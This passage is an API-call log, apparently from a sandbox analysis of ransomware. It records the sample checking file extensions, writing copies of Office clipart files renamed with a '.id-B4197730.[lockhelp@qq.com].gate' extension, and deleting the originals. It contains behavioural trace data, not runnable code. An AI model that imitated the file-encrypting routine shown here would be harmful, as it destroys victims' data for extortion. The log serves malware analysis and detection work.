Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.910] lstrlenW (lpString=".zip") returned 4 [0291.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.910] lstrlenW (lpString=".rar") returned 4 [0291.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.910] lstrlenW (lpString=".bz2") returned 4 [0291.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.910] lstrlenW (lpString=".7z") returned 3 [0291.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.910] lstrlenW (lpString=".dbf") returned 4 [0291.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.911] lstrlenW (lpString=".1cd") returned 4 [0291.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.911] lstrlenW (lpString=".jpg") returned 4 [0291.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.911] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0291.911] lstrlenW (lpString="CRANINST.WMF") returned 12 [0291.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0291.912] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=49546) returned 1 [0291.912] CloseHandle (hObject=0x418) returned 1 [0291.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0291.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0291.912] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.913] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0291.913] GetLastError () returned 0x0 [0291.913] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xc18a, lpOverlapped=0x0) returned 1 [0292.005] WriteFile (in: hFile=0x4dc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xc190, lpOverlapped=0x0) returned 1 [0292.006] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.006] WriteFile (in: hFile=0x4dc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0292.006] SetEndOfFile (hFile=0x4dc) returned 1 [0292.176] CloseHandle (hObject=0x4dc) returned 1 [0292.177] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.177] SetEndOfFile (hFile=0x418) returned 1 [0292.274] CloseHandle (hObject=0x418) returned 1 [0292.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0292.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.276] lstrlenW (lpString=".doc") returned 4 [0292.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.276] lstrlenW (lpString=".docx") returned 5 [0292.276] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0292.276] lstrlenW (lpString=".pdf") returned 4 [0292.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.276] lstrlenW (lpString=".xls") returned 4 [0292.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.276] lstrlenW (lpString=".xlsx") returned 5 [0292.276] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0292.276] lstrlenW (lpString=".ppt") returned 4 [0292.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.276] lstrlenW (lpString=".zip") returned 4 [0292.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.276] lstrlenW (lpString=".rar") returned 4 [0292.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.277] lstrlenW (lpString=".bz2") returned 4 [0292.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.277] lstrlenW (lpString=".7z") returned 3 [0292.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.277] lstrlenW (lpString=".dbf") returned 4 [0292.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.277] lstrlenW (lpString=".1cd") returned 4 [0292.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.277] lstrlenW (lpString=".jpg") returned 4 [0292.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.277] lstrlenW (lpString=".doc") returned 4 [0292.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.277] lstrlenW (lpString=".docx") returned 5 [0292.277] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0292.277] lstrlenW (lpString=".pdf") returned 4 [0292.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.277] lstrlenW (lpString=".xls") returned 4 [0292.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.277] lstrlenW (lpString=".xlsx") returned 5 [0292.277] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0292.277] lstrlenW (lpString=".ppt") returned 4 [0292.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.277] lstrlenW (lpString=".zip") returned 4 [0292.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.277] lstrlenW (lpString=".rar") returned 4 [0292.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.278] lstrlenW (lpString=".bz2") returned 4 [0292.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.278] lstrlenW (lpString=".7z") returned 3 [0292.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.278] lstrlenW (lpString=".dbf") returned 4 [0292.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.278] lstrlenW (lpString=".1cd") returned 4 [0292.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0292.278] lstrlenW (lpString=".jpg") returned 4 [0292.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.278] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0292.278] lstrlenW (lpString="DD00121_.WMF") returned 12 [0292.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0292.279] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=8256) returned 1 [0292.279] CloseHandle (hObject=0x418) returned 1 [0292.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0292.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0292.280] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.280] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0292.285] GetLastError () returned 0x0 [0292.285] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x2040, lpOverlapped=0x0) returned 1 [0292.333] WriteFile (in: hFile=0x500, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x2050, lpOverlapped=0x0) returned 1 [0292.334] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.334] WriteFile (in: hFile=0x500, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0292.334] SetEndOfFile (hFile=0x500) returned 1 [0292.334] CloseHandle (hObject=0x500) returned 1 [0292.335] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.335] SetEndOfFile (hFile=0x418) returned 1 [0292.338] CloseHandle (hObject=0x418) returned 1 [0292.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0292.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.339] lstrlenW (lpString=".doc") returned 4 [0292.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.339] lstrlenW (lpString=".docx") returned 5 [0292.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.339] lstrlenW (lpString=".pdf") returned 4 [0292.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.339] lstrlenW (lpString=".xls") returned 4 [0292.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.339] lstrlenW (lpString=".xlsx") returned 5 [0292.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.339] lstrlenW (lpString=".ppt") returned 4 [0292.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.339] lstrlenW (lpString=".zip") returned 4 [0292.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.339] lstrlenW (lpString=".rar") returned 4 [0292.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.339] lstrlenW (lpString=".bz2") returned 4 [0292.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.339] lstrlenW (lpString=".7z") returned 3 [0292.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.340] lstrlenW (lpString=".dbf") returned 4 [0292.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.340] lstrlenW (lpString=".1cd") returned 4 [0292.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.340] lstrlenW (lpString=".jpg") returned 4 [0292.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.340] lstrlenW (lpString=".doc") returned 4 [0292.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.340] lstrlenW (lpString=".docx") returned 5 [0292.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.340] lstrlenW (lpString=".pdf") returned 4 [0292.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.340] lstrlenW (lpString=".xls") returned 4 [0292.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.340] lstrlenW (lpString=".xlsx") returned 5 [0292.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.340] lstrlenW (lpString=".ppt") returned 4 [0292.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.340] lstrlenW (lpString=".zip") returned 4 [0292.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.340] lstrlenW (lpString=".rar") returned 4 [0292.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.340] lstrlenW (lpString=".bz2") returned 4 [0292.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.340] lstrlenW (lpString=".7z") returned 3 [0292.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.340] lstrlenW (lpString=".dbf") returned 4 [0292.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.341] lstrlenW (lpString=".1cd") returned 4 [0292.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0292.341] lstrlenW (lpString=".jpg") returned 4 [0292.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.341] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0292.341] lstrlenW (lpString="DD00297_.WMF") returned 12 [0292.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0292.342] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=40030) returned 1 [0292.342] CloseHandle (hObject=0x418) returned 1 [0292.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 [0292.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0292.343] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.343] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0292.343] GetLastError () returned 0x0 [0292.343] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x9c5e, lpOverlapped=0x0) returned 1 [0292.474] WriteFile (in: hFile=0x500, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x9c60, lpOverlapped=0x0) returned 1 [0292.475] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.475] WriteFile (in: hFile=0x500, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0292.475] SetEndOfFile (hFile=0x500) returned 1 [0292.475] CloseHandle (hObject=0x500) returned 1 [0292.476] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.476] SetEndOfFile (hFile=0x418) returned 1 [0292.479] CloseHandle (hObject=0x418) returned 1 [0292.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0292.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.480] lstrlenW (lpString=".doc") returned 4 [0292.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.480] lstrlenW (lpString=".docx") returned 5 [0292.480] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.480] lstrlenW (lpString=".pdf") returned 4 [0292.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.480] lstrlenW (lpString=".xls") returned 4 [0292.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.480] lstrlenW (lpString=".xlsx") returned 5 [0292.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.480] lstrlenW (lpString=".ppt") returned 4 [0292.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.480] lstrlenW (lpString=".zip") returned 4 [0292.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.481] lstrlenW (lpString=".rar") returned 4 [0292.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.481] lstrlenW (lpString=".bz2") returned 4 [0292.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.481] lstrlenW (lpString=".7z") returned 3 [0292.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.481] lstrlenW (lpString=".dbf") returned 4 [0292.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.481] lstrlenW (lpString=".1cd") returned 4 [0292.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.481] lstrlenW (lpString=".jpg") returned 4 [0292.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.481] lstrlenW (lpString=".doc") returned 4 [0292.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.481] lstrlenW (lpString=".docx") returned 5 [0292.481] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.481] lstrlenW (lpString=".pdf") returned 4 [0292.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.481] lstrlenW (lpString=".xls") returned 4 [0292.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.481] lstrlenW (lpString=".xlsx") returned 5 [0292.481] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.481] lstrlenW (lpString=".ppt") returned 4 [0292.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.482] lstrlenW (lpString=".zip") returned 4 [0292.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.482] lstrlenW (lpString=".rar") returned 4 [0292.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.482] lstrlenW (lpString=".bz2") returned 4 [0292.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.482] lstrlenW (lpString=".7z") returned 3 [0292.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 